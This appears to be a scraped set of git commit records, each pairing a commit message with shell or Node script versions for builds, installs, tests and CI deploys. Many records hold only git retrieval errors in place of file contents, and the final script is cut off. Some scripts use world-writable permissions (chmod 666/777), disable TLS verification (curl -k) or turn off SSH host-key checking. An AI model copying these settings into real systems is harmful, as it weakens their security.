#!/bin/sh

echo -n "squall: "
cd sql
../stilts/db/squall/squall SQL.squall
cd ..
echo "done."

echo -n "smelt: "
cd templates
for t in *
do
	echo "${t}... "
	../stilts/smelt/smelt "${t}"
done
cd ..
echo "done."

mlton -verbose 2 -codegen native -link-opt -lsqlite3 SFBProfiler.mlb

error: pathspec 'build.sh' did not match any file(s) known to git


Build script to make an unsigned release build (for F-droid)

#!/bin/sh

# Make a release build. Using "gradle assembleRelease" fails the first time, so
# this script runs the "prepare dependencies" task first.
# See: https://github.com/tobykurien/WebApps/issues/20
# NOTE: The release is unsigned, so you will need to manually sign it,
# See: https://developer.android.com/tools/publishing/app-signing.html

# run "gradle assembleDebug" to make a debug build rather (run it again if it fails
# the first time).

gradle prepareReleaseDependencies
gradle assembleRelease


Add import command

Add import command

#!/bin/bash

psql -h postgres -d galaxy -U galaxy -f /galaxy/test-data/disable_triggers.sql
cat /galaxy/test-data/role_data.dmp.gz | gunzip | psql -h postgres -d galaxy -U galaxy
psql -h postgres -d galaxy -U galaxy -f /galaxy/test-data/enable_triggers.sql

error: pathspec 'test-data/import.sh' did not match any file(s) known to git


hack: install examples recursively

hack: install examples recursively

This was found during manual testing for #657:

```
$ kubectl apply -f examples | wc
     38      76    1989
$ kubectl apply --recursive -f examples | wc
     47      94    2424
```

#!/bin/bash

# Copyright 2020 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

set -o errexit
set -o nounset
set -o pipefail

readonly GO111MODULE="on"
readonly GOFLAGS="-mod=readonly"
readonly GOPATH="$(mktemp -d)"
readonly CLUSTER_NAME="verify-gateway-api"
readonly KUBECONFIG="${GOPATH}/.kubeconfig"

export GOFLAGS GO111MODULE GOPATH
export PATH="${PATH}:${GOPATH}/bin"

# Cleanup logic for cleanup on exit
CLEANED_UP=false
cleanup() {
  if [ "$CLEANED_UP" = "true" ]; then
    return
  fi
  if [ "${KIND_CREATE_ATTEMPTED:-}" = true ]; then
    kind delete cluster --name "${CLUSTER_NAME}" --kubeconfig "${KUBECONFIG}" || true
  fi
  CLEANED_UP=true
}

trap cleanup INT TERM

# For exit code
res=0

# Install kind
(cd $GOPATH && go get -u sigs.k8s.io/kind) || res=$?

# Create cluster
KIND_CREATE_ATTEMPTED=true
kind create cluster --name "${CLUSTER_NAME}" --kubeconfig "${KUBECONFIG}" || res=$?

# Install CRDs
kubectl apply --kubeconfig "${KUBECONFIG}" -f config/crd/bases || res=$?

# Install all example gateway-api resources.
kubectl apply --kubeconfig "${KUBECONFIG}" --recursive -f examples || res=$?

# Clean up and exit
cleanup || res=$?
exit $res

#!/bin/bash

# Copyright 2020 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

set -o errexit
set -o nounset
set -o pipefail

readonly GO111MODULE="on"
readonly GOFLAGS="-mod=readonly"
readonly GOPATH="$(mktemp -d)"
readonly CLUSTER_NAME="verify-gateway-api"
readonly KUBECONFIG="${GOPATH}/.kubeconfig"

export GOFLAGS GO111MODULE GOPATH
export PATH="${PATH}:${GOPATH}/bin"

# Cleanup logic for cleanup on exit
CLEANED_UP=false
cleanup() {
  if [ "$CLEANED_UP" = "true" ]; then
    return
  fi
  if [ "${KIND_CREATE_ATTEMPTED:-}" = true ]; then
    kind delete cluster --name "${CLUSTER_NAME}" --kubeconfig "${KUBECONFIG}" || true
  fi
  CLEANED_UP=true
}

trap cleanup INT TERM

# For exit code
res=0

# Install kind
(cd $GOPATH && go get -u sigs.k8s.io/kind) || res=$?

# Create cluster
KIND_CREATE_ATTEMPTED=true
kind create cluster --name "${CLUSTER_NAME}" --kubeconfig "${KUBECONFIG}" || res=$?

# Install CRDs
kubectl apply --kubeconfig "${KUBECONFIG}" -f config/crd/bases || res=$?

# Install all example gateway-api resources.
kubectl apply --kubeconfig "${KUBECONFIG}" -f examples || res=$?

# Clean up and exit
cleanup || res=$?
exit $res


Making logs writable for webserver

Making logs writable for webserver

if [ ! -f /etc/apache2/sites-enabled/broilerplate.local.conf ]; then
	sudo apt-get update
	sudo apt-get upgrade -y
	sudo apt-get install language-pack-de-base ruby -y
	sudo sed -i -- 's/\/public/\/htdocs/g' /etc/apache2/**/*.conf
	sudo a2enmod macro
	sudo su -c "gem install sass"
fi

[ -d /var/www/logs ] || mkdir -p /var/www/logs
[ -f /var/www/install/apache/macro-broilerplate.conf ] && cp /var/www/install/apache/macro-broilerplate.conf /etc/apache2/conf-enabled/macro-broilerplate.conf
[ -f /var/www/install/apache/broilerplate.local.conf ] && cp /var/www/install/apache/broilerplate.local.conf /etc/apache2/sites-enabled/broilerplate.local.conf
sudo service apache2 restart
sudo chmod 666 /var/www/logs/*

[ -f /var/www/install/setup.sh ] && /var/www/install/setup.sh

if [ ! -f /etc/apache2/sites-enabled/broilerplate.local.conf ]; then
	sudo apt-get update
	sudo apt-get upgrade -y
	sudo apt-get install language-pack-de-base ruby -y
	sudo sed -i -- 's/\/public/\/htdocs/g' /etc/apache2/**/*.conf
	sudo a2enmod macro
	sudo su -c "gem install sass"
fi

[ -d /var/www/logs ] || mkdir -p /var/www/logs
[ -f /var/www/install/apache/macro-broilerplate.conf ] && cp /var/www/install/apache/macro-broilerplate.conf /etc/apache2/conf-enabled/macro-broilerplate.conf
[ -f /var/www/install/apache/broilerplate.local.conf ] && cp /var/www/install/apache/broilerplate.local.conf /etc/apache2/sites-enabled/broilerplate.local.conf
sudo service apache2 restart

[ -f /var/www/install/setup.sh ] && /var/www/install/setup.sh


If COMPOSE_FILE is define then set this variable to the container

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/swoopla/compose.git/'


fixed typo

fixed typo

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/joshStillerman/NDM.git/'


scripts: RTP - novo teste

scripts: RTP - novo teste

#!/bin/bash

# https://www.iefp.pt/ - não cumpre WCAG 2.0 AA
# RTP - flash e WMV

# http://media.rtp.pt/empresa/utilizacao/termos-e-condicoes/

flash=$(wget http://media.rtp.pt/empresa/utilizacao/termos-e-condicoes/ --user-agent="Mozilla/5.0 Gecko/20100101 Firefox/21.0" -o /dev/null -O -|grep -i flash|wc -l)
wmv=$(wget http://media.rtp.pt/empresa/utilizacao/termos-e-condicoes/ --user-agent="Mozilla/5.0 Gecko/20100101 Firefox/21.0" -o /dev/null -O -|grep -i windows|wc -l)

mudancas=0;
if [ "$flash" -eq "0" ]; then
	echo "RTP: Flash: incumprimento pode já não existir";
	mudancas=1;
fi
if [ "$wmv" -eq "0" ]; then
	echo "RTP: WMV: incumprimento pode já não existir";
	mudancas=1;
fi

## 20/05/2018: - several images without an alt attribute:
if [ "$mudancas" -eq "0" ]; then
	echo "RTP: Incumprimento mantém-se, a actualizar o README (faça um git diff, valide, e commit!)";
	while IFS='' read -r line || [[ -n "$line" ]]; do
		test $(echo "$line"|grep -v rtp|wc -l) -eq "1" \
			&& echo "$line" \
			|| (h=$(echo "$line"|cut -d\| -f1-4); t=$(echo "$line"|cut -d\| -f6-); echo "$h| $(date +%Y/%m/%d) |$t");
	done < README.md > new
	mv new README.md
fi

error: pathspec 'scripts/04-rtp.sh' did not match any file(s) known to git


add software to backup

add software to backup

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/rogierlommers/dotfiles.git/'


grails, finally an easy one to do

grails, finally an easy one to do

#!/bin/sh

# Copyright (c) 2012 Patrick Huber <stackmagic@gmail.com>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

if [ $# -ne 1 ]; then
    echo "Usage: $0 <grails-distribution-archive>"
    exit 1
fi

# load utility methods
. "$(dirname "$0")/../libsh.sh"

check_root
check_extension "$1" "\\.zip"

# .zip => 4
extract "$1" "/opt/grails" 4 "unzip"

localbin="/usr/local/bin"
srcdir="/opt/grails/current/bin"
executables="grails startGrails"

for executable in ${executables}; do
	src="${srcdir}/${executable}"
	link="${localbin}/${executable}"
	mk_link "$src" "$link"
	mk_executable "$src"
done

echo "Done!"

error: pathspec 'update/update_grails.sh' did not match any file(s) known to git


Pass AWS keys to s3cmd explicitly from env

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/shoreditch-ops/artillery-docs.git/'


initial script

initial script

#!/bin/bash

# George Miller
# 05-17-2022
# If you don't have permission to run, try: chmod u+x phase1.sh
# numbering in comments is per https://github.com/smartdevicelink/sdl_ios/wiki/Release-Steps

echo "Zug Zug"

# 2 push new release to primary cocoapod
echo "2 push new release to primary Cocoapod"
pod trunk push SmartDeviceLink.podspec --allow-warnings

# 3 Push the new release to the secondary cocoapod using command line:
echo "3 Push the new release to the secondary cocoapod using command line:"
pod trunk push SmartDeviceLink-iOS.podspec --allow-warnings.

# 4 add binary xcframework archive for manual installation
echo "4 add binary xcframework archive for manual installation"
# i
echo "4.i"
xcodebuild archive -project 'SmartDeviceLink-iOS.xcodeproj/' -scheme 'SmartDeviceLink' -configuration Release -destination 'generic/platform=iOS' -archivePath './SmartDeviceLink-Device.xcarchive' SKIP_INSTALL=NO

# ii
echo "4.ii"
xcodebuild archive -project 'SmartDeviceLink-iOS.xcodeproj/' -scheme 'SmartDeviceLink' -configuration Release -destination 'generic/platform=iOS Simulator' -archivePath './SmartDeviceLink-Simulator.xcarchive' SKIP_INSTALL=NO

# iii
echo "4.iii"
xcodebuild -create-xcframework -framework './SmartDeviceLink-Device.xcarchive/Products/Library/Frameworks/SmartDeviceLink.framework/' -framework './SmartDeviceLink-Simulator.xcarchive/Products/Library/Frameworks/SmartDeviceLink.framework/' -output './SmartDeviceLink.xcframework'

echo "Work Complete"

error: pathspec 'scripts/phase1.sh' did not match any file(s) known to git


update vmware tools for packer 0.5 changes

#!/bin/sh

# VMware Fusion specific items
if [ -e .vmfusion_version ] || [[ "$PACKER_BUILDER_TYPE" == vmware* ]]; then
    TMPMOUNT=`/usr/bin/mktemp -d /tmp/vmware-tools.XXXX`
    hdiutil attach darwin.iso -mountpoint "$TMPMOUNT"
    installer -pkg "$TMPMOUNT/Install VMware Tools.app/Contents/Resources/VMware Tools.pkg" -target /
    # This usually fails
    hdiutil detach "$TMPMOUNT"
    rm -rf "$TMPMOUNT"
    rm -f darwin.iso

    # Point Linux shared folder root to that used by OS X guests,
    # useful for the Hashicorp vmware_fusion Vagrant provider plugin
    mkdir /mnt
    ln -sf /Volumes/VMware\ Shared\ Folders /mnt/hgfs
fi

#!/bin/sh

# VMware Fusion specific items
if [ -e .vmfusion_version ] || [ "$PACKER_BUILDER_TYPE" = "vmware" ]; then
    TMPMOUNT=`/usr/bin/mktemp -d /tmp/vmware-tools.XXXX`
    hdiutil attach darwin.iso -mountpoint "$TMPMOUNT"
    installer -pkg "$TMPMOUNT/Install VMware Tools.app/Contents/Resources/VMware Tools.pkg" -target /
    # This usually fails
    hdiutil detach "$TMPMOUNT"
    rm -rf "$TMPMOUNT"
    rm -f darwin.iso

    # Point Linux shared folder root to that used by OS X guests,
    # useful for the Hashicorp vmware_fusion Vagrant provider plugin
    mkdir /mnt
    ln -sf /Volumes/VMware\ Shared\ Folders /mnt/hgfs
fi


OB-10 Added a temporary script consuming feed message sent to the queue.

The script has been implemented only for testing of project data flow
and is not supposed to be used in production env.

#!/usr/bin/env node
var colors = require('colors');
var amqp = require('amqplib/callback_api');

var EXCHANGE_NAME = 'observer';
var QUEUE_NAME = 'feed';
var count = 0;
var logMsg = {
  twitter: logTwitterMsg,
  facebook: logFacebookMsg
};

amqp.connect('amqp://localhost', function(err, conn) {
  conn.createChannel(function(err, ch) {
    ch.assertExchange(EXCHANGE_NAME, 'direct', {durable: true});

    ch.assertQueue(QUEUE_NAME, {durable: true}, function(err, q) {
      ch.bindQueue(QUEUE_NAME, EXCHANGE_NAME, '');
      ch.consume(QUEUE_NAME, function(msg) {
        var entry = JSON.parse(msg.content.toString('utf-8'));
        logMsg[entry.source](entry);
        ch.ack(msg);
      }, {noAck: false});
    });
  });
});

function logTwitterMsg(entry) {
  var msg = "["+ (++count) +"][" + entry.source + "][" + (entry.data[0] ? entry.data[0].created_at : '') + "]";
  console.log(msg.blue);
}

function logFacebookMsg(entry) {
  var msg = "["+ (++count) +"][" + entry.source + "][" + (entry.data[0] ? entry.data[0].created_time : '') + "]";
  console.log(msg.green);
}

error: pathspec 'scripts/worker.sh' did not match any file(s) known to git


Create set_permission.sh

Create set_permission.sh

#! /bin/bash
chmod -R 755 ./volumes/var/www/html/xoops
chmod -R 755 ./volumes/var/xoops_data
chmod -R 755 ./volumes/var/xoops_lib
chmod 777 ./volumes/var/xoops_data/caches
chmod 777 ./volumes/var/xoops_data/caches/smarty_cache
chmod 777 ./volumes/var/xoops_data/caches/smarty_compile
chmod 777 ./volumes/var/xoops_data/caches/xoops_cache
chmod 777 ./volumes/var/xoops_data/configs
chmod 777 ./volumes/var/xoops_data/data

error: pathspec 'set_permission.sh' did not match any file(s) known to git


Thanks @kurko and @mattysoup :heart:

Thanks @kurko and @mattysoup :heart:

#!/bin/bash
# Copied from @kurko
#
# Inspiration by Matt Campbell.

# kub = kube
#
# Type `kube` in the terminal to get the options you have.
function kube() {
  KUBE_CONFIG_PATH="$HOME/.kube/config"
  if [[ ! -f "$KUBE_CONFIG_PATH" ]]; then
    printf "Error: $KUBE_CONFIG_PATH doesn't exist."
    return 1
  fi

  if [[ $1 == "podname" ]]; then
    echo `kube-podname`
  elif [[ $1 == "ssh" ]]; then
    kube-ssh
  else
    printf "Usage: kube <command> [options]\n"
    printf "\n"
    printf "Commands:\n"
    printf "podname\t\tReturns the name of the remote pod corresponding to the\n"
    printf "\t\tapp in the current directory.\n"
    printf "ssh \t\tSSH into the current app.\n"
  fi
}

# kube-podname
#
# This script inspects the present working directoy (`pwd`) and uses the
# current repository's name to return the first running kubernetes pod
# which matches the name of the repository.
#
# e.g. You are working in $HOME/my-app-api
# Running `kube-podname` should return something like `my-app-api-12345678-xyz`
function kube-podname() {
  # /foo/my-app-api becomes /foo/my-app
  NAME=$(pwd | sed 's/-api//g')

  # select string contents after the final /
  SERVICE_NAME=${NAME##*/}

  echo `kubectl get pods | grep $SERVICE_NAME | awk '{print $1}' | head -1`
}

# kube-ssh
#
# This will SSH into the pod.
function kube-ssh() {
  echo 'Running: kubectl exec -it `kube-podname` /bin/bash'
  kubectl exec -it `kube-podname` /bin/bash
}

error: pathspec 'kubernetes/functions.zsh' did not match any file(s) known to git


ownCloud 8.1.1 broke upgrades: do "occ upgrade" twice

Per https://github.com/owncloud/core/issues/18224 and https://discourse.mailinabox.email/t/v13-upgrade-issue-with-calendar/757/10, upgrades from anything to ownCloud 8.1.1 were broken. But the workaround is to run the upgrade step twice.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/m4rcs/mailinabox.git/'


chroot.sh: run prepare_chroot() in xbps_chroot_handler().

--HG--
extra : convert_revision : 83037adeb3c89aace0986ccf23ba87f624333346

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Bubble-be/void-packages.git/'


alias vi to vim

alias vi to vim

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/dctrud/dotfiles.git/'


include path to pidof

include path to pidof

#!/bin/bash
#
# This script will force a refresh of the classes available to use in the
# PE Node Classifier. This enables us to classify immediately, rather than
# waiting for the cache to expire.
#
# refresh_classes.sh
#

if [ "$#" -ne 0 ]
then
  echo "This script takes no arguments."
  exit 1
fi

function refresh()
{
  set -e
  set -u

  CONFDIR='/etc/puppetlabs/puppet'

  CERT=$(puppet master   --confdir ${CONFDIR} --configprint hostcert)
  CACERT=$(puppet master --confdir ${CONFDIR} --configprint localcacert)
  PRVKEY=$(puppet master --confdir ${CONFDIR} --configprint hostprivkey)
  OPTIONS="--cert ${CERT} --cacert ${CACERT} --key ${PRVKEY}"
  CONSOLE=$(awk '/server =/{print $NF}' ${CONFDIR}/console.conf)

  curl -s -k -X POST ${OPTIONS} "https://${CONSOLE}:4433/classifier-api/v1/update-classes"
}

# only run one copy at a time
for pid in $(/sbin/pidof -x $(basename $0)); do
  [ $pid != $$ ] && exit 1
done

echo "Updating list of classes available in the Node Classifier..."
refresh &

#!/bin/bash
#
# This script will force a refresh of the classes available to use in the
# PE Node Classifier. This enables us to classify immediately, rather than
# waiting for the cache to expire.
#
# refresh_classes.sh
#

if [ "$#" -ne 0 ]
then
  echo "This script takes no arguments."
  exit 1
fi

function refresh()
{
  set -e
  set -u

  CONFDIR='/etc/puppetlabs/puppet'

  CERT=$(puppet master   --confdir ${CONFDIR} --configprint hostcert)
  CACERT=$(puppet master --confdir ${CONFDIR} --configprint localcacert)
  PRVKEY=$(puppet master --confdir ${CONFDIR} --configprint hostprivkey)
  OPTIONS="--cert ${CERT} --cacert ${CACERT} --key ${PRVKEY}"
  CONSOLE=$(awk '/server =/{print $NF}' ${CONFDIR}/console.conf)

  curl -s -k -X POST ${OPTIONS} "https://${CONSOLE}:4433/classifier-api/v1/update-classes"
}

# only run one copy at a time
for pid in $(pidof -x $(basename $0)); do
  [ $pid != $$ ] && exit 1
done

echo "Updating list of classes available in the Node Classifier..."
refresh &


Added expected BuildDepedencies.sh

Added expected BuildDepedencies.sh

xbuild ./Net35Essentials/Net35Essentials.sln /p:Configuration=Release /p:Platform="Any CPU"
mkdir -p Dependency\ Builds/Net35Essentials/DLLs/
rsync -avv ./Net35Essentials/src/Net35Essentials/bin/Release/ Dependency\ Builds/Net35Essentials/DLLs/

chmod +x ./GladBehaviour/lib/BuildDependencies.sh
cd GladBehaviour/lib/
./BuildDependencies.sh
cd ..
nuget restore GladBehaviour.sln
xbuild GladBehaviour.sln /p:Configuration=Release /p:Platform="Any CPU"
cd ..

mkdir -p Dependency\ Builds/GladBehaviour/DLLs/
rsync -avv ./GladBehaviour/src/GladBehaviour.Common/bin/Release/ Dependency\ Builds/GladBehaviour/DLLs/
rsync -avv ./GladBehaviour/src/GladBehaviour.Editor/bin/Release/ Dependency\ Builds/GladBehaviour/DLLs/

error: pathspec 'lib/BuildDependencies.sh' did not match any file(s) known to git


Make test runner clean up named pipes, even on early/forced termination

#!/bin/sh

POSIXLY_CORRECT=1
export POSIXLY_CORRECT

TIDY='tidy --show-body-only 1 --quiet 1 --show-warnings 0'
SCRIPT="$1"
TESTDIR="$2"
PASSED=0
FAILED=0

abort() {
    echo "Error: $*"
    exit 1
}

test -f "$SCRIPT"   || abort "argument #1 invalid; not a file"
test -x "$SCRIPT"   || abort "argument #1 invalid; not executable"
echo "" | "$SCRIPT" || abort "argument #1 invalid; script failed to run"
test -d "$TESTDIR"  || abort "argument #2 invalid; not a directory"

for TEXT in "$TESTDIR"/*.text; do
    test -f "$TEXT" || abort "empty or invalid test directory"
    printf "$(basename "$TEXT" .text) ... "
    HTML=$(echo "$TEXT" | sed 's/\.text$/.html/')

    # We use mktemp to create an unpredictable, temporary filename.
    # The created file is immediately deleted, since we only want a
    # name to pass to mkfifo and "mktemp -u" is not portable.
    PIPE=$(mktemp .testpipe-XXXXXXXX)
    test -f "$PIPE" -a -n "$PIPE" || abort "mktemp failed"
    trap 'rm -f "$PIPE"' EXIT INT TERM HUP
    rm -f "$PIPE"
    mkfifo "$PIPE" || abort "unable to create named pipe"

    $SCRIPT "$TEXT" | $TIDY > "$PIPE" &
    DIFF=$($TIDY "$HTML" | diff "$PIPE" -)
    if test "$?" = 0; then
        PASSED=$(expr $PASSED + 1)
        echo OK
    else
        FAILED=$(expr $FAILED + 1)
        echo FAILED
        printf "\n$DIFF\n\n"
    fi
    rm -f "$PIPE"
done

printf "\n\n$PASSED passed; $FAILED failed.\n"
test "$FAILED" = 0 || exit 1

#!/bin/sh

POSIXLY_CORRECT=1
export POSIXLY_CORRECT

TIDY='tidy --show-body-only 1 --quiet 1 --show-warnings 0'
SCRIPT="$1"
TESTDIR="$2"
PASSED=0
FAILED=0

abort() {
    echo "Error: $*"
    exit 1
}

test -f "$SCRIPT"   || abort "argument #1 invalid; not a file"
test -x "$SCRIPT"   || abort "argument #1 invalid; not executable"
echo "" | "$SCRIPT" || abort "argument #1 invalid; script failed to run"
test -d "$TESTDIR"  || abort "argument #2 invalid; not a directory"

for TEXT in "$TESTDIR"/*.text; do
    test -f "$TEXT" || abort "empty or invalid test directory"
    printf "$(basename "$TEXT" .text) ... "
    HTML=$(echo "$TEXT" | sed 's/\.text$/.html/')

    # We use mktemp to create an unpredictable, temporary filename.
    # The created file is immediately deleted, since we only want a
    # name to pass to mkfifo and "mktemp -u" is not portable.
    PIPE=$(mktemp .testpipe-XXXXXXXX)
    test -f "$PIPE" -a -n "$PIPE" || abort "mktemp failed"
    rm -f "$PIPE"
    mkfifo "$PIPE" || abort "unable to create named pipe"

    $SCRIPT "$TEXT" | $TIDY > "$PIPE" &
    DIFF=$($TIDY "$HTML" | diff "$PIPE" -)
    if test "$?" = 0; then
        PASSED=$(expr $PASSED + 1)
        echo OK
    else
        FAILED=$(expr $FAILED + 1)
        echo FAILED
        printf "\n$DIFF\n\n"
    fi
    rm -f "$PIPE"
done

printf "\n\n$PASSED passed; $FAILED failed.\n"
test "$FAILED" = 0 || exit 1


add test script

add test script

#!/bin/bash
export JAVA_OPTS="$JAVA_OPTS -Xmx1024M"

echo "C++:"
clang++  -std=c++11 -O3 Cpp/mapFilterReduce.cpp
./a.out

echo "F#:"
fsharpi fsharp/mapFilterReduce.fsx

echo "Javascript:"
node javascript/mapFilterReduce.js

echo "Python:"
python python/mapFilterReduce.py

echo "Swift:"
swiftc -Ounchecked swift/mapFilterReduce.swift
./mapFilterReduce

echo "Kotlin:"
kotlinc kotlin/mapFilterReduce.kt
kotlin MapFilterReduceKt

echo "Scala:"
scalac Scala/mapFilterReduce.scala
scala MapFilterReduce

error: pathspec 'mapFilterReduceBench.sh' did not match any file(s) known to git


IBM: add a script to only build Spate on Blue Gene/Q

Link: https://github.com/GeneAssembly/biosal/issues/709
Signed-off-by: Sébastien Boisvert <1a4d2e25eb5ba040b6ad5779a730a1a8a0ff9bc5@anl.gov>

#!/bin/bash

# http://www-01.ibm.com/support/docview.wss?uid=swg27022103&aid=1

# -O5 to enable -ipa
# -s to strip symbols

CFLAGS="-I. -g -O3 -qmaxmem=-1 -qarch=qp -qtune=qp -DTHORIUM_DEBUG "
CFLAGS="$CFLAGS -L/soft/libraries/alcf/current/xl/ZLIB/lib -I/soft/libraries/alcf/current/xl/ZLIB/include"

#echo $CFLAGS
#exit

make clean CONFIG_PAMI=y
make -j 8 CFLAGS="$CFLAGS" CONFIG_PAMI=y \
    applications/spate_metagenome_assembler/spate

error: pathspec 'scripts/IBM_Blue_Gene_Q/build-spate-xl.sh' did not match any file(s) known to git


la la la i have no idea what i'm doing

la la la i have no idea what i'm doing

# Mike Walker - mwalker@splunk.com
#
# The plan is to mimoc the oh-my-zsh virtualenvwrapper plugin to auto enable splunk demo envs
#
# TODO : detect that you're in a splunk directory
# TODO : set $SPLUNK_HOME
# TODO : add $SPLUNK_HOME/bin to path
# TODO : update prompt to show splunk env
# TODO : profit
#

if [[ ! $DISABLE_SPLUNK_CD -eq 1 ]]; then
  # Automatically activate Git projects's virtual environments based on the
  # directory name of the project. Virtual environment name can be overridden
  # by placing a .venv file in the project root with a virtualenv name in it
  function splunk_cwd {
    if [ ! $SPLUNK_CWD ]; then
      SPLUNK_CWD=1
      # Check if this is a splunk env
      # suppress error messages somehow, this is noisy
      # just check for existance of file, not ls -1
      # how is that done in zsh?
      SPLUNK_ROOT=`ls -1 splunk-*-manifest > /dev/null`
      if (( $? != 0 )); then
      #if [[ -f "./splunk-*-manifest" ]]; then
        #SPLUNK_ROOT="."
        print "foo"
      fi
      # Check for virtualenv name override
      if [[ -f "$SPLUNK_ROOT/.venv" ]]; then
        ENV_NAME=`cat "$SPLUNK_ROOT/.venv"`
      elif [[ -f "$SPLUNK_ROOT/.venv/bin/activate" ]];then
        ENV_NAME="$SPLUNK_ROOT/.venv"
      elif [[ "$SPLUNK_ROOT" != "." ]]; then
        ENV_NAME=`basename "$SPLUNK_ROOT"`
      else
        ENV_NAME=""
      fi
      if [[ "$ENV_NAME" != "" ]]; then
        # Activate the environment only if it is not already active
        if [[ "$VIRTUAL_ENV" != "$WORKON_HOME/$ENV_NAME" ]]; then
          if [[ -e "$WORKON_HOME/$ENV_NAME/bin/activate" ]]; then
            workon "$ENV_NAME" && export CD_VIRTUAL_ENV="$ENV_NAME"
          elif [[ -e "$ENV_NAME/bin/activate" ]]; then
            source $ENV_NAME/bin/activate && export CD_VIRTUAL_ENV="$ENV_NAME"
          fi
        fi
      elif [[ -n $CD_VIRTUAL_ENV && -n $VIRTUAL_ENV ]]; then
        # We've just left the repo, deactivate the environment
        # Note: this only happens if the virtualenv was activated automatically
        deactivate && unset CD_VIRTUAL_ENV
      fi
      unset SPLUNK_ROOT
      unset SPLUNK_CWD
    fi
  }

  #
  # This part works, logic borrowed from virtualenvwrapper plugin
  #

  # Append splunk_cwd to the chpwd_functions array, so it will be called on cd
  # http://zsh.sourceforge.net/Doc/Release/Functions.html
  if ! (( $chpwd_functions[(I)splunk_cwd] )); then
    chpwd_functions+=(splunk_cwd)
  fi
fi

error: pathspec 'splunk.plugin.zsh' did not match any file(s) known to git


add gfm2html function

add gfm2html function

error: pathspec '.functions.d/gfm2html.sh' did not match any file(s) known to git


Fix typo error

Fix typo error

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/niclabs/tchsm-libdtc.git/'


Travis: try fix docs generator again

Travis: try fix docs generator again

#!/bin/bash -x

echo "Generating docs with doxygen..."

doxygen

mkdir -p ~/.ssh
chmod 0600 ~/znc-docs-key
cat <<EOF >> ~/.ssh/config
Host znc-docs
HostName github.com
User git
IdentityFile ~/znc-docs-key
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
EOF

cd "$HOME"
git config --global user.email "travis-ci@znc.in"
git config --global user.name "znc-travis"
git clone --depth=1 --branch=gh-pages znc-docs:znc/docs.git gh-pages || exit 1

cd "$TRAVIS_BUILD_DIR/doc/html/"
mv ~/gh-pages/.git ./
echo docs.znc.in > CNAME
git add -A

rm -f ~/docs_need_commit
git status
git status | perl -ne '/modified:\s+(.*)/ and print "$1\n"' | while read x; do
	echo Checking for useful changes: $x
	git diff --cached $x |
		perl -ne '/^[-+]/ and !/^([-+])\1\1 / and !/^[-+]Generated.*ZNC.*doxygen/ and exit 1' &&
		git reset -q $x ||
		{ echo Useful change detected; touch ~/docs_need_commit; }
done

if [[ ! -f ~/docs_need_commit ]]; then
	echo "Docs at gh-pages are up to date."
	exit
fi

git commit -F- <<EOF
Latest docs on successful travis build $TRAVIS_BUILD_NUMBER

ZNC commit $TRAVIS_COMMIT
EOF
git push origin gh-pages

echo "Published docs to gh-pages."

#!/bin/bash -x

echo "Generating docs with doxygen..."

doxygen

mkdir -p ~/.ssh
chmod 0600 ~/znc-docs-key
cat <<EOF >> ~/.ssh/config
Host znc-docs
HostName github.com
User git
IdentityFile ~/znc-docs-key
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
EOF

cd "$HOME"
